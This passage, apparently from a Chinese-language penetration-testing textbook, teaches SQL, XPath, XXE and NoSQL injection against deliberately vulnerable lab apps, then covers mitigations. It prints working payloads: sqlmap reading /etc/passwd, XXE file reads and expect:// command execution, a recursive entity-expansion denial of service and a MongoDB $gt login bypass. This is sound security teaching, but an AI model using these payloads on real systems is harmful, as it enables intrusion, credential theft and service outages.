攻击者的目标是利用 SQL 注入漏洞在服务器上进一步立足。 使用 sqlmap,您可以利用这个漏洞在数据库服务器上读写文件,这会调用目标上的load_file()out_file()函数来实现它。 在下面的示例中,我们正在读取服务器上/etc/passwd文件的内容:


sqlmap -u "http://10.7.7.5/mutillidae/index.php?page=user-info.php&username=admin&password=admin&user-info-php-submit-button=View+Account+Details" -p username --file-read /etc/passwd

sqlmap工具提供了一些额外的选项,如下表所示:

选项 描述
-f 这将对数据库执行广泛的指纹识别
-b 这会检索 DBMS 横幅
--sql-shell 成功利用后访问 SQL shell 提示符
--schema 这枚举数据库模式
--comments 在数据库中搜索评论
--reg-read 这读取 Windows 注册表键值
--identify-waf 这识别 WAF/IPS 保护
--level N 这将扫描级别(注入变体的数量和复杂性)设置为N(1-5)
--risk N 这设置了请求的风险(1-3);等级 2 包括基于时间的重型请求;等级 3 包括基于 OR 的请求
--os-shell 这尝试返回系统 shell

您可以在 sqlmap 的 GitHub 项目页面github.com/sqlmapproject/sqlmap/wiki/Usage中找到您可以与 sqlmap 一起使用的所有选项的详尽列表。

SQL 注入漏洞的攻击潜力

以下是用于操纵 SQL 注入漏洞的技术:

  • 通过修改 SQL 查询,攻击者可以从数据库中检索普通用户无权访问的额外数据

  • 通过从数据库中删除关键数据运行 DoS 攻击

  • 绕过认证并执行特权升级攻击

  • 使用批量查询,可以在单个请求中执行多个 SQL 操作

  • 可以使用高级 SQL 命令来枚举数据库的模式,然后也可以修改结构

  • 使用load_file()函数在数据库服务器上读取和写入文件以及into outfile()函数写入文件

  • 诸如 Microsoft SQL 之类的数据库允许通过 SQL 语句运行 OS 命令使用xp_cmdshell;对 SQL 注入漏洞的应用程序可以允许攻击者完全控制数据库服务器,并通过它也攻击网络上的其他设备

XML 注入

本节将涵盖在 Web 应用程序中使用 XML 的两种不同观点:

  • 当应用程序在 XML 文件或 XML 数据库中执行搜索时

  • 当用户提交以 XML 格式化的信息以供应用程序解析时

XPath 注入

XPath是用于从 XML 文档中选择节点的查询语言。以下是基本的 XML 结构:


<rootNode>

<childNode>

<element/>

</childNode>

</rootNode>

一个 XPath 对element的搜索可以表示如下:


/rootNode/childNode/element

可以制作更复杂的表达式,例如,对登录页面的 XPath 查询可能如下所示:


//Employee[UserName/text()='myuser' And Password/text()='mypassword']

与 SQL 一样,如果用户输入被直接连接到查询字符串中,此类输入可能被解释为代码而不是数据参数。

例如,让我们看一下 bWapp 的 XML/XPath 注入(搜索)练习。它显示了一个下拉框,您可以在其中选择一种类型,并搜索匹配这种类型的电影:

在这里,genre是应用程序在服务器端进行的某些搜索的输入参数。要测试它,您需要创建一个搜索,同时让浏览器首先识别将genre参数发送到服务器的请求(/bWAPP/xmli_2.php?genre=action&action=search),然后将其发送到 Repeater。您将使用 Burp Suite 或 ZAP 等代理执行此操作。一旦进入 Repeater,将一个单引号添加到流派中。然后,点击 Go 并分析响应:

通过添加一个单引号,我们导致应用程序响应中出现了语法错误。这清楚地表明正在使用 XPath。现在您需要知道查询是如何构建的。首先,让我们看看它是否寻找整个文本或其中的一部分。删除流派的最后几个字母,然后点击 Go:

您可以看到,即使只使用流派的一部分,您仍然会获得与使用完整单词相同的结果。这意味着查询正在使用contains()函数。您可以查看 github.com/redmondmj/bWAPP 中的源代码,因为它是一个开源应用程序。但是,让我们采取黑盒方法;因此,可能是以下的内容:


.../node[contains(genre, '$genre_input')]/node...

尽管您可能不知道完整的查询,但可以非常自信地认为[contains(genre, '$genre_input')]或类似的内容已经存在。

现在尝试更加复杂的注入,试图检索您注入的 XML 文件中的所有记录:


')]/*|//*contains('1','1

您可以看到响应包含的信息比原始查询要多得多,应用程序不会将其中一些信息作为正常搜索的一部分显示出来。

使用 XCat 进行 XPath 注入

XCat 是一个用 Python 3 编写的工具,可以帮助您利用 XPath 注入漏洞检索信息。它在 Kali Linux 中默认不包含,但可以轻松添加。您需要在 Kali Linux 中安装 Python 3 和 pip,然后只需在终端中运行以下命令:

apt-get install python3-pippip3 install xcat

安装 XCat 后,您需要在 bWAPP 中进行身份验证,以获取易受攻击的 URL 和 cookie,以便您可以使用以下结构的命令:

xcat -m <http_method> -c "<cookie value>" <URL_without_parameters> <injecable_parameter> <parameter1=value> <parameter2=value> -t "<text_in_true_results>"

在这种情况下,命令将如下所示:

xcat -m GET -c "PHPSESSID=kbh3orjn6b2gpimethf0ucq241;JSESSIONID=9D7765D7D1F2A9FCCC5D972A043F9867;security_level=0" http://10.7.7.5/bWAPP/xmli_2.php genre genre=horror action=search -t ">1<"

注意,我们使用">1<"作为真实字符串。这是因为结果表中的数字仅在找到至少一个结果时才会出现。对 bWAPP 运行该命令将导致类似以下的结果:

XML 外部实体注入

在 XML 中,一个实体是一个可以是内部或外部的存储单元。内部实体是指在其声明中定义了其值的实体,而外部实体则从外部资源(如文件)中获取值。当应用程序接收来自用户的一些 XML 格式的输入并处理其中声明的外部实体时,它容易受到XML 外部实体XXE)注入的影响。

我们将再次使用 bWAPP,在 /A7 - Missing Functional Level Access Control/ 中使用 XEE 练习来进行实践。在那里,你将只看到一个带有按钮的文本,当你点击时似乎什么也没有发生。然而,让我们检查代理的记录请求:

因此,在这里你正在发送一个包含你的用户名和一些秘密的 XML 结构。你发送请求给 Repeater,以进一步分析和测试。首先,尝试创建一个内部实体,看看服务器是否处理它。要做到这一点,请提交以下 XML:


<!DOCTYPE test [ <!ENTITY internal-entity "boss" >]>

<reset><login>&internal-entity;</login><secret>Any bugs?</secret></reset>

在这里我们创建了一个名为internal-entity的实体,其值为"boss",然后我们使用该实体来替换登录值,这反映在响应中。这意味着你通过该实体加载的任何内容都将被服务器处理和反映。

尝试加载一个文件,如下所示:


<!DOCTYPE test [  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

使用SYSTEM,你正在定义一个外部实体。这加载一个文件(/etc/passwd),服务器将在其响应中显示结果。

如果解析器未正确配置,并且加载了expect PHP 模块,你还可以通过 XEEs 获得远程执行权限:


<!DOCTYPE test [  <!ENTITY xxe SYSTEM "expect://uname -a" >]>

实体扩展攻击

即使解析器不允许外部实体,允许内部实体仍然可能被恶意用户利用并导致服务器中断。由于所有 XML 解析器都会使用其定义的值来替换实体,因此可以创建一组递归实体,以便服务器可以处理大量信息,直到无法响应。

这被称为实体扩展攻击。以下结构是一个简单的概念证明:


<!DOCTYPE test [

<!ENTITY entity0 "Level0-">

<!ENTITY entity1 "Level1-&entity0;">

<!ENTITY entity2 "Level2-&entity1;&entity1;">

<!ENTITY entity3 "Level3-&entity2;&entity2;&entity2;">

<!ENTITY entity4 "Level4-&entity3;&entity3;&entity3;&entity3;">

<!ENTITY entity5 "Level5-&entity4;&entity4;&entity4;&entity4;&entity4;">

]>

<reset><login>&entity0;</login><secret>Any bugs?</secret></reset>

在这里,你可以看到当加载entity5时会发生什么。所有其他实体也将被加载。这些信息在服务器内存中存储,因此如果你发送足够大的有效负载或足够深的递归,可能会导致服务器内存耗尽,无法响应用户的请求。

现在让我们看看在加载entity5时响应的大小会如何变化:

重要的是要记住,在对真实应用程序进行渗透测试时,必须极其谨慎,并且仅在可以证明漏洞存在而不会对服务造成中断的情况下进行测试,除非客户另有要求。在这种情况下,应采取特殊环境和特殊记录和监控措施。对于实体扩展攻击,展示六到七级的递归可以足以作为概念的证明。还应考虑响应时间。

NoSQL 注入

近年来,大数据或者说各种版本和不同目的的大量信息的存储、处理和分析越来越受到各种规模公司的推广和实施。这种信息通常是非结构化的,或者来自不一定兼容的来源。因此,它需要存储在一种特殊类型的数据库中,即所谓的Not only SQL (NoSQL) 数据库,如 MongoDB、CouchDB、Cassandra 和 HBase。

上述数据库管理器不使用 SQL(或者不仅使用 SQL)并不意味着它们没有注入风险。请记住,SQL 注入漏洞是由于发送查询的应用程序缺乏验证造成的,而不是由 DBMS 处理造成的。对 NoSQL 数据库的查询进行代码注入或参数更改是可能的,也并不罕见。

对 NoSQL 注入进行测试

NoSQL 查询通常以 JSON 格式完成。例如,MongoDB 中的查询可能如下所示:


User.find({ username: req.body.username, password: req.body.password }, ...

要在使用 MongoDB 数据库的应用程序中注入代码,您需要利用 JSON 语法,使用字符如 ' " ; { } 并形成有效的 JSON 结构。

利用 NoSQL 注入

要测试实际的利用方式,您可以使用由 Snyk 制作的易受攻击应用程序(github.com/snyk/goof)。要运行此应用程序,您需要在目标服务器上安装并正确运行 Node.js 和 MongoDB。

您应该尝试绕过管理员部分的密码检查的注入攻击。设置代理后,浏览到您的易受攻击应用程序的管理员部分。在这个例子中,它将是http://10.0.2.2:3001/admin。如果您提交用户admin和任何密码,您会发现没有访问权限。

如果您将该请求发送给 Repeater,您会发现它正在发送两个参数:usernamepassword。您应该更改请求格式为 JSON。要做到这一点,您需要更改Content-Type头的值和参数的格式:

如果您提交了该请求,服务器似乎会接受它,因为不会生成任何错误。因此,为了明确起见,让我们使用实际的admin密码以 JSON 格式确保它确实被接受:

现在您知道它是如何工作的,请尝试注入条件而不是密码值,以便验证始终为真。查询将会说:“如果用户名是admin且密码大于空字符串”:


{"username":"admin","password":{"$gt":""}}

$gt是 MongoDB 的一个特殊查询运算符,表示大于(>)的二进制操作。更多的运算符和注入字符串可以在github.com/cr0hn/nosqlinjection_wordlists找到。

NoSQLMap(github.com/codingo/NoSQLMap.git)是一个开源工具,未包含在 Kali Linux 中,但易于安装。它可以用于自动化 NoSQL 注入的检测和利用。

缓解和预防注入漏洞

防止注入漏洞的关键是验证。用户提供的输入永远不应被信任,应始终进行验证,并在包含以下无效或危险字符时予以拒绝或清理:

  • 引号('")

  • 括号和方括号

  • 保留特殊字符('!''%''&'';'

  • 注释组合('--''/*''*/''#''(:', ':)'

  • 其他特定于语言和实现的字符

验证的推荐方法是白名单。这意味着对于每个输入字段或字段组,都有一个允许字符的列表,并将提交的字符串与该列表进行比较。提交的字符串中的所有字符必须在允许列表中才能通过验证。

对于防止 SQL 注入,应使用参数化或准备好的语句,而不是将输入连接到查询字符串。准备好的语句的实现因语言而异,但它们都遵循同样的原则;由客户端提供的输入不会连接到查询字符串,而是作为参数发送到一个适当构建查询的函数。以下是 PHP 的一个示例:


$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE '%?%'");

$stmt->execute(array($_GET['name']));

这个主题的一些有用参考资料如下:

概要

在本章中,我们讨论了各种注入漏洞。注入漏洞是 Web 应用程序中的严重漏洞,攻击者可以通过利用它来完全控制服务器。我们还研究了通过不同类型的注入,恶意攻击者可以访问操作系统。然后可以用来攻击网络上的其他服务器。当攻击者利用 SQL 注入漏洞时,他们可以访问后端数据库中的敏感数据。这对组织来说可能是灾难性的。

在下一章中,我们将了解一种特定类型的注入漏洞,即跨站脚本(Cross-Site Scripting),它允许攻击者通过在请求参数中注入或诱使用户注入脚本代码来改变页面向用户呈现的方式。